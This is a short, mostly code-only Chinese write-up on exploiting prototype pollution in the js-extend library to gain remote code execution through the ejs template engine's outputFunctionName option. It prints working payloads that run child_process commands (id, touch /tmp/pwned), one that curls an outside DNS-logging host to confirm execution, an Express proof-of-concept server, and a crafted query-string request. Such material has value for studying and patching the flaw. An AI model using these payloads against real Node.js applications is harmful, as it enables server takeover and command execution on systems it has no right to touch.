ejs漏洞与原型链污染利用

const jsExtend = require("js-extend")
//const ejs = require('ejs');

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

(function(factory) {
  if(typeof exports === 'object') {
    factory(exports);
  } else {
    factory(this);
  }
}).call(this, function(root) { 

  var slice   = Array.prototype.slice,
      each    = Array.prototype.forEach;

  var extend = function(obj) {
    if(typeof obj !== 'object') throw obj + ' is not an object' ;

    var sources = slice.call(arguments, 1); 

    each.call(sources, function(source) { //关键点
      if(source) {
        for(var prop in source) {
          if(typeof source[prop] === 'object' && obj[prop]) {
            extend.call(obj, obj[prop], source[prop]);
          } else {
            obj[prop] = source[prop];
          }
        } 
      }
    });

    return obj;
  }

  root.extend = extend;
});

opts = opts || {}; 

opts = opts || createObj(null);

var opts = utils.hasOwnOnlyObject(optsParam);

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\\n';
      }

{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'id\\');x"}}

const jsExtend = require("js-extend")
const ejs = require('ejs');

function pollution(payload){
    /*
        > typeof({})
        'object'
    */
    console.log("Before: " + {}.outputFunctionName);
    jsExtend.extend({}, JSON.parse(payload));
    console.log("After : " + {}.outputFunctionName);
}

function _render(){
    let html='<%= a %>'
    console.log(ejs.render(html,{a:'b'}))
}

var payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\\'child_process\\').exec(\\'curl ac8817da.log.cdncache.rr.nu\\');x"}}'

pollution(payload)
_render()

curl "127.0.0.1:3000?test=AAAA&settings\\[view%20options\\]\\[A\\]=BBBB"

viewOpts = data.settings['view options'];
if (viewOpts) {
	utils.shallowCopy(opts, viewOpts);
}

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

o = {
  "settings":{
    "view options":{
      "outputFunctionName":'x;process.mainModule.require("child_process").execSync("touch /tmp/pwned");s',
    }
  }
}

app.get('/page', (req,res) => {
    res.render('page', o);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};

viewOpts = data.settings['view options'];
if (viewOpts) {
	utils.shallowCopy(opts, viewOpts);
}